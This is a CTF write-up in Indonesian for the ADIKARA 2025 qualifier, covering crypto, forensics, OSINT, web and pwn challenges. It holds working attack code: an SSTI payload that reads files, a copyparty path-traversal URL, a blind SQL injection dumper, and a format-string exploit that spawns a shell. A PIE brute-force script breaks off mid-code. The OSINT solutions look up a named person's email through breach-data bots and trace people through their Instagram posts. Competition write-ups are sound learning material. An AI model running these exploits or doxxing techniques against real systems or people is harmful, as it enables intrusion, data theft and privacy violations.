Jeong Jinman
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Write Up Penyisihan ADIKARA 2025 - muhammad sumbul by: Muhammad Meizar Salman Category <a href="#Misc"> Misc </a> * <a href="#41"> 松本眞 </a> * <a href="#42"> Sanity Check </a> * <a href="#44"> Berputar </a> <a href="#OSINT"> OSINT </a> * <a href="#34"> December </a> * <a href="#29"> W4nted </a> * <a href="#22"> Atmin jalan jalan </a> <a href="#Forensics"> Forensics </a> * <a href="#13"> HEAVY </a> * <a href="#21"> Neovim </a> <a href="#Cryptography"> Cryptography </a> * <a href="#37"> "Your duty is not over!" </a> * <a href="#36"> sambal256 </a> <a href="#Web-Exploit"> Web Exploit </a> * <a href="#18"> Vegan Shop </a> * <a href="#19"> Legal Shop </a> * <a href="#20"> Party </a> * <a href="#45"> ASIK </a> <a href="#Pwn"> Pwn </a> * <a href="#48"> Date </a> * <a href="#46"> Pie shop </a> * <a href="#49"> metamorfosis </a> <a href="#Reverse-Engineering"> Reverse Engineering </a> * <a href="#31"> Snake </a> ## <a id=Misc> Misc </a> ### <center><a id="41"> 松本眞 </a></center> <center>100</center> <center>matkul matematika kalian apa aja? `author: archanist`</center> diberikan file chall.py dan output.txt tujuan dari chall ini untuk nge-leak output MT19937 (Python random) lewat XOR. Dari chall.py, 624 kali pertama itu: `val = random.getrandbits(32)` yang ditulis ke file adalah `kunci ^ val` dengan `kunci = bytes_to_long(b"days")` Jadi kita bisa balikin `val = (angka_di_file) ^ kunci `untuk 624 output MT. Karena MT19937 butuh 624 output 32-bit untuk rekonstruksi state, kita bisa: 1. ambil 624 output asli (di-unxor) 2. lakukan untemper untuk dapet state internal MT 3. clone PRNG, prediksi output ke-625 (guess) 4. baris terakhir di `output.txt` adalah guess `^ bytes_to_long(flag) ` jadi `flag = long_to_bytes(last_line ^ guess)` saya pake script ini buat langsung solve: ``` import random from Crypto.Util.number import bytes_to_long, long_to_bytes MASK = 0xffffffff def unshift_right_xor(y, shift): x = 0 for i in range(32): bit = 31 - i yb = (y >> bit) & 1 if bit + shift >= 32: xb = yb else: xb = yb ^ ((x >> (bit + shift)) & 1) x |= xb << bit return x def unshift_left_xor_mask(y, shift, mask): x = 0 for bit in range(32): yb = (y >> bit) & 1 if bit - shift < 0: xb = yb else: if (mask >> bit) & 1: xb = yb ^ ((x >> (bit - shift)) & 1) else: xb = yb x |= xb << bit return x def untemper(y): y = unshift_right_xor(y, 18) y = unshift_left_xor_mask(y, 15, 0xefc60000) y = unshift_left_xor_mask(y, 7, 0x9d2c5680) y = unshift_right_xor(y, 11) return y & MASK kunci = bytes_to_long(b"days") lines = open("output.txt","r").read().strip().splitlines() enc_624 = [int(x) for x in lines[:-1]] last = int(lines[-1]) # balikkan 624 output MT outs = [(x ^ kunci) & MASK for x in enc_624] # recover state MT state = tuple(untemper(o) for o in outs) # clone python random clone = random.Random() clone.setstate((3, (state + (624,)), None)) guess = clone.getrandbits(32) flag_long = last ^ guess print(long_to_bytes(flag_long)) ``` ![image](https://hackmd.io/_uploads/Hkn00zWX-e.png) **Flag : ADIKARA25{riyal_or_fake_dikit-dikit_redacted}** --- ### <center><a id="42"> Sanity Check </a></center> <center>100</center> <center>mangat dah, sebenernya gw pengen maen adikara jg tapi dipaksa jadi probset. ceki ceki dulu ada free fleg ADIKARA25{ig_orang_ganteng_@pauldenieel_wellcometoADIKARA25}</center> **Flag : kalian bisa lihat sendiri lah ya flag orang keriting** --- ### <center><a id="44"> Berputar </a></center> <center>100</center> <center>Berputar putar~~ Gelombang Dunia Author : `Cyrus`</center> diberikan foto seperti berikut: ![WhatsApp Image 2025-12-18 at 13.30.38_49c693a4](https://hackmd.io/_uploads/rJKjy7bXbg.jpg) dulu waktu saya SD udah belajar photoshop, jadi langsung tau kalau fotonya kayak gini tinggal di-twirl balik aja. ![image](https://hackmd.io/_uploads/HJL4eXZXZl.png) ![image](https://hackmd.io/_uploads/SkSve7-7-e.png) terus tinggal dibalik balik aja ![image](https://hackmd.io/_uploads/r1M0emWm-e.png) **Flag : ADIKARA25{4d4_y4n9_tr4um4_s4m4_1n1_g4_4wk0kwk0}** --- ## <a id=OSINT> OSINT </a> ### <center><a id="34"> December </a></center> <center>190</center> <center>My hacker friend sent me his home picture to build some tools, but I don't even know the exact location is.... help me to find the address plszz... Format Flag: ADIKARA25{Number_StreetnameRoad} `author: sn0wden`</center> chall.png ![chall (1)](https://hackmd.io/_uploads/SJb5-m-XWl.png) karena menurut saya foto ini tidak terlalu sulit untuk dicari, saya langsung minta gemini aja karena harusnya langsung ketemu sih. ![image](https://hackmd.io/_uploads/SyflGmW7We.png) ![image](https://hackmd.io/_uploads/HJ37MmbmWl.png) diubah dikit penamaan nya ![image](https://hackmd.io/_uploads/S1nuM7ZQbx.png) **Flag : ADIKARA25{3126_BuellSt}** --- ### <center><a id="29"> W4nted </a></center> <center>400</center> <center>Have you ever heard of the NotPetya malware? This person is one of the people spreading it, as I've heard they were once on the FBI's wanted list. Could you help me find their email address so I can investigate further? **Warning: Never try to upload this challenge to the internet ;)** `author: sn0wden`</center> diberikan chall.pdf dengan isi biodata orang ini ![image](https://hackmd.io/_uploads/HJ1-7XWQbl.png) kita diminta untuk cari email yang bersangkutan. yaudah tinggal cari pake bot breach data aja bjir keyword: ANATOLIY SERGEYEVICH KOVALEV ![image](https://hackmd.io/_uploads/SkYdX7-7Ze.png) ![image](https://hackmd.io/_uploads/rkcq77-Q-l.png) **Flag : ADIKARA25{kovalevanatoly@yandex.ru}** --- ### <center><a id="22"> Atmin jalan jalan </a></center> <center>450</center> <center>Atmint bersama atmint @Tyzals sedang jalan jalan, Makanannya keliatan enak, kira kira dimana yh... flag: ADIKARA25{plus code} contoh: ADIKARA25{2JGJ+J5} `author: BbayuGt`</center> chall.jpeg ![WhatsApp Image 2025-12-17 at 21.37.17_4aebf8db](https://hackmd.io/_uploads/SJWfNQWXZx.jpg) foto gini doang mana bisa dicari langsung lewat reverse image jir. nanya AI juga udah pasti ngaco. akhirnya saya coba exiftool, strings, nanya probset nya langsung, setelah muter muter cukup lama akhirnya nemu bagian yang cukup penting dari metadata nya. ![image](https://hackmd.io/_uploads/HyqcrQW7Zx.png) hint dari soalnya juga sangat membantu ![image](https://hackmd.io/_uploads/HJLyIQWXbl.png) jadi langsung aja saya stalk akun ig kedua atmin ini (tyzals & bbayugt) ![image](https://hackmd.io/_uploads/SJQXI7-mWe.png) cari postingan tanggal 27 agustus 2025. highlight @bbayugt.cpp (ini kalau di hp keliatan jelas kok tanggal posting nya) ![image](https://hackmd.io/_uploads/rywqL7-7Wl.png) highlight @hbtwwwwww ![image](https://hackmd.io/_uploads/BJw7PmZ7-g.png) > NOVOTEL BOGOR GOLF RESORT ![image](https://hackmd.io/_uploads/ryBKwQWQWl.png) ![image](https://hackmd.io/_uploads/BJ9jPXbXWx.png) **Flag : ADIKARA25{9RWQ+8C}** --- ## <a id=Forensics> Forensics </a> ### <center><a id="13"> HEAVY </a></center> <center>200</center> <center>this file is # HEAVY Can you lift this file? I bet you couldn't :3 I mean, don't even try :p I warned you. `author: BbayuGt`</center> diberikan zip seperti ini. saya sudah tau pasti bahwa ini ZIP BOMB (nested zip) yang kalau di-extract sekali langsung meledak pc kentang kalian yang murah itu karena file aslinya besar. ![image](https://hackmd.io/_uploads/Bkwlum-XZx.png) dalam DO NOT.zip ada anomali Fatso yang size nya kayak perut polisi (GENDUT) ![image](https://hackmd.io/_uploads/SJM_F7-XWg.png) saya ambil 10MB pertama dari file Fatso siapa tau nemu flag. └─$ unzip -p DO\ NOT.zip Fatso | head -c 10M > part.bin abis itu langsung grep ajah └─$ strings part.bin | grep -E "FLAG|CTF|ADIKARA" ![image](https://hackmd.io/_uploads/Bykx9XWmbe.png) **Flag : ADIKARA25{z1p_z4p_b0mb3d_1-h0p3_y0u_d0n't-tr7-t0_3xtr@c7_th1$}** --- ### <center><a id="21"> Neovim </a></center> <center>270</center> <center>I use neovim, btw. `author: bbayugt`</center> diberi file chall.pcapng dan dari nama soal saja sudah jelas ini mencari input keyboard dari traffic yang sudah tercapture. jadi langsung sajah kita buka wireshark menggunakan filter `usb.transfer_type == 0x01` ![image](https://hackmd.io/_uploads/Hkj9o7-mWx.png) yang kita cari tuh adalah packet data HID (Human Interface Device) ![image](https://hackmd.io/_uploads/Bkwz3QZQWe.png) ini kan ada banyak request nya jadi ga mungkin satu satu. jadi saya export semua data ini terus convert ke plain text (File → Export Packet Dissections → As Plain Text) lalu file nya langsung lempar aja ke gpt ![image](https://hackmd.io/_uploads/r11xpXbmbx.png) ![image](https://hackmd.io/_uploads/rJIz67bXZx.png) **Flag : ADIKARA25{d1d_y0u_l1st3n_t0_m7_k3yb04rd_input???_goodJOB!!}** --- ## <a id=Cryptography> Cryptography </a> ### <center><a id="37"> "Your duty is not over!" </a></center> <center>220</center> <center>One-Shot GPT(?) - harusnya... Author : `Tyzals`</center> diberikan chall1.sage & output.txt sesuai deskripsi, langsung lempar saja ke AI ![image](https://hackmd.io/_uploads/H1hy0F-QZl.png) solver.sage ``` from sage.all import * from Crypto.Util.number import long_to_bytes def solve(): # 1. Konfigurasi # Presisi input adalah 1024 bit (~308 digit). # Kita set presisi kalkulasi sedikit lebih tinggi. R = RealField(2048) # Load output (Pastikan nama file sesuai) try: with open("output (23).txt", "r") as f: output_str = f.read().strip() except FileNotFoundError: print("[-] File 'output (23).txt' tidak ditemukan. Pastikan file ada di folder yang sama.") return # Parse nilai S S = R(output_str) # 2. Hitung parameter Lattice # Persamaan: K - n*pi - alpha = error pi_val = R.pi() alpha = S.arctan() # PENTING: Penyesuaian Scale # Kita set scale agar sebanding dengan presisi input (10^308). # Jika scale terlalu besar, LLL akan gagal menemukan K yang benar. scale = 10**320 # 3. Konstruksi Matriks Lattice # Basis: # v1 = (1, 0, scale) -> mewakili K # v2 = (0, 1, -scale * pi) -> mewakili n # v3 = (0, 0, -scale * alpha) -> mewakili konstanta L = Matrix(ZZ, [ [1, 0, int(scale)], [0, 1, int(-scale * pi_val)], [0, 0, int(-scale * alpha)] ]) print("[*] Menjalankan LLL Reduction dengan scale 10^320...") reduced_L = L.LLL() print("[+] Selesai. Memeriksa hasil...") # 4. Cari Flag flag_found = False for i, row in enumerate(reduced_L): # Nilai K adalah elemen pertama dari vektor k_candidate = abs(row[0]) # Coba konversi ke bytes try: dec = long_to_bytes(k_candidate) # Cek apakah diawali prefix yang diketahui if b"ADIKARA" in dec: print(f"\n[SUCCESS] Flag Ditemukan pada baris {i}:") print(dec.decode()) flag_found = True break # Debug: print kandidat lain yang terlihat seperti teks elif b"{" in dec or len(dec) > 10: # Hanya print jika sebagian besar karakter bisa diprint if all(32 <= x <= 126 for x in dec[:10]): print(f"[?] Kandidat potensial (Baris {i}): {dec}") except: pass if not flag_found: print("[-] Flag belum terdeteksi otomatis. Coba variasi scale lain (misal 10**310 atau 10**330).") if __name__ == "__main__": solve() ``` ![image](https://hackmd.io/_uploads/SJTXRFZXWe.png) **Flag : ADIKARA25{introoo_too_sagemath_aokwaokwao}** --- ### <center><a id="36"> sambal256 </a></center> <center>320</center> <center>dompet kripto anti hengker, dikunci dengan racikan hashing sambal256 (sambal bangkok). katanya sih pedes manis, tapi tenggorokan was-was. walau katanya mengandung 777 khasiat. Author : `Tyzals` Format Flag : `ADIKARA25{recover_priv_key}` contoh: `ADIKARA25{0xc0ffxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}` </center> chall.zip ada 3 file ![image](https://hackmd.io/_uploads/Hk4f1cZXbl.png) analisa sederhana: pada `sambal_wallet.py` ada function `generate_signature()` ``` slice_size = int(C * (10 ** (77 - (nonce_seed - (nonce_seed // divisor) * divisor)))) mn = slice_size if slice_size >= 2 else 2 k = random.randint(1, mn - 1) ``` 1. Rumus slice_size: Bagian (nonce_seed - (nonce_seed // divisor) * divisor) sebenarnya hanyalah operasi Modulo (nonce_seed % divisor). 2. Nilai: divisor adalah 30. Jadi `nonce_seed % 30 `akan menghasilkan angka antara 0 sampai 29. 3. Dampak pada mn (Max Nonce):Eksponen menjadi $77 - (pk \pmod{30})$. * Jika $(pk \pmod{30})$ bernilai besar (misal 29), maka eksponen menjadi $77 - 29 = 48$. * mn menjadi sekitar $10^{48}$ (kira-kira $2^{159}$). 4. Kesimpulan: Kurva Secp256k1 memiliki order $N \approx 2^{256}$. Karena nonce $k$ yang dihasilkan jauh lebih kecil ($2^{159}$) daripada order kurva ($2^{256}$), kita memiliki kebocoran sekitar 96 bit per tanda tangan. Jadi, dengan mengumpulkan beberapa signatures (kita punya 10 di bumbu.json), kita bisa menggunakan Lattice Reduction (algoritma LLL) untuk memulihkan Private Key. Disini saya memakai sageMath untuk nge solve nya karena kita butuh operasi matriks dan LLL yang presisi **solve.sage** ``` import json import sys # Pastikan sambal_wallet.py ada di folder yang sama from sambal_wallet import sambal_enc, hash as sambal_hash # --- KONFIGURASI SECP256K1 --- # Prime Field (P) P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F # Order of the Curve (N) N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 # Definisikan Field dan Kurva dengan benar di SageMath F = GF(P) E = EllipticCurve(F, [0, 7]) # Generator Point (G) Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 G = E(Gx, Gy) def get_hash(idx): """Rekonstruksi hash pesan (z)""" types = ["string", "uint256"] values = [f"tx{idx}", idx] rh = sambal_enc(types, values) return sambal_hash(rh) def solve(): # 1. Load Transaksi try: with open("bumbu.json", "r") as f: txs = json.load(f) except FileNotFoundError: print("[-] File 'bumbu.json' tidak ditemukan.") return # 2. Siapkan data untuk Lattice sigs = [] print("[*] Membaca signature dan menghitung hash...") for i, tx in enumerate(txs): r = int(tx['r'], 16) s = int(tx['s'], 16) h = get_hash(i) sigs.append((r, s, h)) # 3. Konfigurasi Lattice (HNP) # Bound B: Kita tahu nonce k < 10^48 (sekitar 159 bits) # Order N adalah 256 bits. B = 10**48 m = len(sigs) # Matriks Lattice matrix_size = m + 2 M = Matrix(QQ, matrix_size, matrix_size) # Isi Matriks # Baris 0..m-1 untuk modulus N for i in range(m): r, s, h = sigs[i] # t = r * s^-1 mod N # u = h * s^-1 mod N # Persamaan: k - t*d - u = 0 (mod N) s_inv = inverse_mod(s, N) t = (r * s_inv) % N u = (h * s_inv) % N M[i, i] = N M[m, i] = t M[m+1, i] = u # Setup Bobot M[m, m] = B / N # Variable d (Private Key) M[m+1, m+1] = B # Konstanta (Bias) print("[*] Menjalankan LLL (Lattice Reduction)...") L = M.LLL() # 4. Cari Private Key print("[*] Mencari kandidat private key...") # Faktor bobot untuk mengembalikan nilai asli weight = B/N # Ambil data pembanding dari tx pertama untuk verifikasi r0, s0, h0 = sigs[0] for row in L: # Ambil elemen di kolom 'd' potential_val = row[m] # Reverse scaling (hilangkan bobot) recovered_d = abs(round(potential_val / weight)) if recovered_d == 0 or recovered_d >= N: continue try: # Verifikasi 1: Cek Public Key (r-coordinate) # Pub = d * G Pub = recovered_d * G # Pub.xy()[0] mengembalikan elemen field, ubah ke integer if int(Pub.xy()[0]) == r0: print(f"\n[+] PRIVATE KEY DITEMUKAN (Match r)!") print(f"Decimal: {recovered_d}") print(f"Hex : {hex(recovered_d)}") print(f"\nFlag : ADIKARA25{{{hex(recovered_d)}}}") return # Verifikasi 2: Hitung ulang k dan Cek Point R # k = s^-1 * (h + r*d) mod N k_try = (inverse_mod(s0, N) * (h0 + r0 * recovered_d)) % N R_try = k_try * G if int(R_try.xy()[0]) == r0: print(f"\n[+] PRIVATE KEY DITEMUKAN (Match Calc)!") print(f"Decimal: {recovered_d}") print(f"Hex : {hex(recovered_d)}") print(f"\nFlag : ADIKARA25{{{hex(recovered_d)}}}") return except Exception as e: continue print("[-] Gagal menemukan key. Coba tweak nilai B atau cek data.") if __name__ == "__main__": solve() ``` ![image](https://hackmd.io/_uploads/B1kCg5Z7Wg.png) **Flag : ADIKARA25{0x5469aed116df1ee0496645b51700cef1cbc3fec7772f3d078060cc26256 c7b18}** --- ## <a id=Web-Exploit> Web Exploit </a> ### <center><a id="18"> Vegan Shop </a></center> <center>280</center> <center>Mau cari sayur apa om? `author: archanist`</center> https://pasar-sayur-segar.chall.adikara.online/ diberikan sebuah website dan chall.zip yang berisi source code nya. ![image](https://hackmd.io/_uploads/SJbdnP-QWe.png) setelah source code nya dianalisa, ada yang menarik di function search() ``` search_template = ''' <div class="result-info"> <h3>''' + template_msg + '''</h3> ... ''' render_template_string(search_template) ``` * template_msg mengandung query user * lalu dirender ulang oleh Jinja jadi sudah fix ini bug SSTI. tapi ada beberapa kata yang di-blacklist ``` blacklist = ["%", "\\", "/", "\"", "'", "`", "|", " ", "[", "]", "+", "init", "subprocess", "globlas", "config", "update", "mro", "subclasses", "class", "base", "builtins", ...] ``` ini tidak akan menjadi masalah karena: * globals TIDAK diblok (yang diblok typo: globlas) * _ boleh * . boleh * method call boleh * __getitem__ boleh * request.args TIDAK difilter * filter hanya cek query, BUKAN URL args saya minta tolong gpt buat bikin payload one shot nya. `{{url_for.__globals__.__getitem__(request.args.b).__getitem__(request.args.o)(request.args.p).read()}}` payload ini kalau dikirim lewat fitur search webnya tidak akan bisa. makanya kirim lewat curl ``` curl -k -X POST "https://pasar-sayur-segar.chall.adikara.online/search?b=__builtins__&o=open&p=/flag.txt" ^``` -H "Content-Type: application/x-www-form-urlencoded" ^ --data "query={{url_for.__globals__.__getitem__(request.args.b).__getitem__(request.args.o)(request.args.p).read()}}" ``` ![image](https://hackmd.io/_uploads/Hkioy_WQbx.png) **Flag : ADIKARA25{cukurukempokjeru_qddjcvbiufuf23333}** --- ### <center><a id="19"> Legal Shop </a></center> <center>320</center> <center>Mendingan kualitas atau kuantitas? `author: archanist`</center> https://legalsnack.chall.adikara.online/ dan chall.zip saya langsung lempar source code nya ke gpt biar dia yang analisa karena saya MALAS. langsung ketemu bug nya ``` if any(item.product.name == 'Elite Hacker Snack' for item in order.items): return render_template( 'order_confirmation.html', order=order, flag=os.environ.get('FLAG', 'itdays25{lmao_flag}') ) ``` BUSINESS LOGIC / PRICE MANIPULATION Exploit Strategy (INTI WRITE-UP) 1. Tambahkan Elite Hacker Snack (mahal) 2. Tambahkan item murah paling murah dengan quantity negatif (change post request pake caido) 3. Total jadi kecil tapi order tetap mengandung Elite Hacker Snack ![image](https://hackmd.io/_uploads/HyAnGdZXWg.png) 4. Checkout → flag keluar ![image](https://hackmd.io/_uploads/S1F_M_bm-g.png) **Flag : ADIKARA25{t00_345y_15nt_1ttttttttttttt?}** --- ### <center><a id="20"> Party </a></center> <center>350</center> <center>This is a cool software that I found on the internet, I used it in my older project though, check them out!</center> https://party.chall.adikara.online & chall.zip source code saya lempar gpt. hasil analisa: * Root volume / = public RW * Semua isi (a/, hack_*, hacker_*, flag.txt) adalah buatan user * Flag challenge TIDAK disimpan di volume public * Jadi ZIP / WebDAV / ls biasa TIDAK AKAN PERNAH nunjukin flag bug nya ada di INFO LEAK + DEBUG FEATURE copyparty → baca file arbitrary di container lewat endpoint internal. buktinya adalah kita bisa akses /?stack. ini sudah cukup. dan karena versi yang udah usang, exploit nya ada di google dengan keyword **CVE-2023-37474** yang intinya ada path traversal di sub-directory /.cpr/ https://party.chall.adikara.online/.cpr/%2Fapp%2Fflag.txt ![image](https://hackmd.io/_uploads/rkOUHdZ7Wx.png) **Flag : ADIKARA25{c0pyp@rty_15_n0t_p4rty1n9_24c58ce0895d218aa1c638d73733e64f}** --- ### <center><a id="45"> ASIK </a></center> <center>500</center> <center>bedanya hengker, DipeSer, sama Skrip kidi keliatan di challange ini. contoh DipESer: https://asik.chall.adikara.online/admin/hubungi.php `author: Tyzals` </center> ![image](https://hackmd.io/_uploads/SJQCBOZX-x.png) ini adalah tampilan utama website nya. terdapat beberapa menu seperti login admin, form untuk hubungi mereka, dan cek kelulusan berdasarkan ID. Saya awalnya fokus pada menu "Hubungi Kami" ![image](https://hackmd.io/_uploads/r1yXL_WXWx.png) saya pikir bug nya ada di stored xss dan ada bot admin yang menunggu payload dikirim. Saya sempet nunggu berjam jam buat dapetin cookie dari admin nya tapi ga nemu apa apa. akhirnya saya pindah endpoint jadi ke halaman utama, yaitu fitur cek kelulusan. saya coba tes SQLI gabisa. akhirnya tanya gpt dia saranin pake query BLIND SQLI **' OR '1'='1** ![image](https://hackmd.io/_uploads/rJAiIO-7-x.png) payload berhasil tereksekusi. di sini saya sempet stuck mau ngapain karena gaada apa apa lagi. panitia juga tidak memperbolehkan kami untuk memakai tools automatisasi seperti SQLMAP, GHAURI, DLL. tapi akhirnya saya membuat script automatisasi saya sendiri dengan payload blind sqli yang tentunya lebih ringan karena menggunakan query sederhana dan spesifik ![image](https://hackmd.io/_uploads/H1x_25WX-g.png) ini payload final setelah saya dapet nama database, table, dan kolom (dicari satu satu bang aseli) blind.py ``` import requests import time import sys # --- KONFIGURASI --- URL = "https://asik.chall.adikara.online/index.php?page=searchno" SUCCESS_INDICATOR = 'btn-primary">Cetak' # Target Tabel & Kolom TARGET_TABLE = "tbl_user" TARGET_COLS = ["username"] # Kita ambil username # --- FUNGSI --- def check_boolean(payload): data = {'noujian': payload, 'SUBMIT': 'Cek Status'} for i in range(3): try: r = requests.post(URL, data=data, timeout=20) if SUCCESS_INDICATOR in r.text: return True return False except: time.sleep(1) # print(" [Retry] ", end='') # Uncomment kalau mau liat log retry return False def get_length(query): # Cek panjang data (biasanya password md5 32 char, atau user biasa) # Kita set range agak jauh biar aman (sampai 100 char) for i in range(1, 100): if check_boolean(f"x' OR (LENGTH(({query})) = {i})-- -"): return i sys.stdout.write(f"\r[~] Cek panjang: {i}") sys.stdout.flush() return None def extract_data(query): length = get_length(query) if not length: return None print(f" -> Panjang: {length}. Decoding...", end='') val = "" for pos in range(1, length + 1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 if check_boolean(f"x' OR (ASCII(SUBSTRING(({query}), {pos}, 1)) > {mid})-- -"): low = mid + 1 else: high = mid - 1 val += chr(low) sys.stdout.write(chr(low)) sys.stdout.flush() return val # --- EKSEKUSI: DUMP DATA TBL_USER --- print(f"\n{'='*50}") print(f"DUMPING DATA: {TARGET_TABLE}") print(f"Kolom: {', '.join(TARGET_COLS)}") print(f"{'='*50}") offset = 0 while True: print(f"\n[+] Data Row ke-{offset+1}...", end='') # Query: SELECT CONCAT_WS(' : ', username, pass) FROM tbl_user LIMIT offset,1 # Kita pakai CONCAT_WS biar ada pemisah ':' antara username dan password col_selector = f"CONCAT_WS(' : ', {', '.join(TARGET_COLS)})" query = f"SELECT {col_selector} FROM {TARGET_TABLE} LIMIT {offset},1" result = extract_data(query) if not result: print("\n\n[-] Selesai. Data habis.") break print(f" [OK]") print(f" >>> HASIL: {result}") offset += 1 print("="*50) ``` **Flag : ADIKARA25{Njayyy_R1ll_Hangker_Cokkkkk}** --- ## <a id=Pwn> Pwn </a> ### <center><a id="48"> Date </a></center> <center>310</center> <center>get the current date. `author: archanist`</center> diberikan file chall. dan ncat --ssl date.chall.adikara.online 443 analisis cepat: 1. Kode program menggunakan fungsi printf(buffer) secara langsung untuk mencetak input user tanpa format specifier (seharusnya printf("%s", buffer)). Hal ini memungkinkan user memasukkan karakter format string seperti %x, %p, atau %n yang akan dieksekusi oleh printf 2. **Attack Vector (Celah Serangan)** Vulnerability: Format String (CWE-134). Target: Terdapat variabel global bernama command (alamat 0x404060) yang secara default berisi string "date". Execution: Variabel ini kemudian diteruskan ke fungsi system(command). 3. **Exploitation Logic (Logika Eksploitasi)** Tujuannya adalah mengubah isi variabel command dari "date" menjadi "sh" agar program memberikkan akses shell. solver.py (disini saya udah tau offset nya 6) ``` from pwn import * HOST = "date.chall.adikara.online" PORT = 443 context.arch = "amd64" context.log_level = "info" CMD = 0x404060 # global 'command' dari binary non-PIE kamu def run(off): io = remote(HOST, PORT, ssl=True, sni=HOST) # baca prompt kalau ada io.recvuntil(b"Enter your name:", timeout=2) # biarin pwntools yang split jadi %hn/%hhn tanpa overlap payload = fmtstr_payload(off, {CMD: b"/bin/sh\x00"}, write_size="short") io.sendline(payload) # kalau sukses, setelah ini program jalan: # puts(...) lalu system(command) -> system("/bin/sh") # coba tes cepat io.sendline(b"id") out = io.recvrepeat(1.0) if b"uid=" in out: log.success(f"Shell OK at offset {off}") io.interactive() else: log.warning(f"Offset {off} no shell (got: {out!r})") io.close() if __name__ == "__main__": # karena dari leak kamu input mulai di %6$p, offset biasanya dekat-dekat situ for off in range(6, 25): try: log.info(f"Trying offset {off} ...") run(off) except EOFError: log.warning(f"Offset {off} EOF") except Exception as e: log.warning(f"Offset {off} error: {e}") ``` ![image](https://hackmd.io/_uploads/Bk6z3cWmWl.png) **Flag : ADIKARA25{th15_15_5upp0553d_t0_b3_34sy_r1ght80f4eb9b761f3d009d3bf5f37a868897}** --- ### <center><a id="46"> Pie shop </a></center> <center>360</center> <center>I've just opened my PIE shop, would you like to visit? `author: archanist`</center> diberikan file chall dan ncat pieshop.chall.adikara.online 443 --ssl challenge ini adalah binary PIE enabled yang punya buffer overflow di fitur custom order. Tujuan kita: redirect control flow ke fungsi tersembunyi (secret menu / win). Proteksi yang aktif: * NX * PIE Karena PIE aktif, alamat fungsi selalu berubah setiap run → harus ditebak / dibocorkan. Di menu “Custom Order”, program membaca input tanpa batas panjang ke buffer stack. berarti kita bisa overflow buffer & overwrite return address (RIP). Tapi Karena PIE, kita tidak tahu alamat win function secara pasti Solusinya: bruteforce PIE (low 16 bit) pie.py ``` import socket, ssl, struct, time HOST = "pieshop.chall.adikara.online" PORT = 443 def make_ssl(): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return ctx def read_for(s, seconds=2.5): end = time.time() + seconds data = b"" s.settimeout(0.2) while time.time() < end: try: chunk = s.recv(8192) if not chunk: # EOF break data += chunk except: pass time.sleep(0.01) return data def recvuntil(s, token=b"> ", max_seconds=3.0): data = b"" end = time.time() + max_seconds 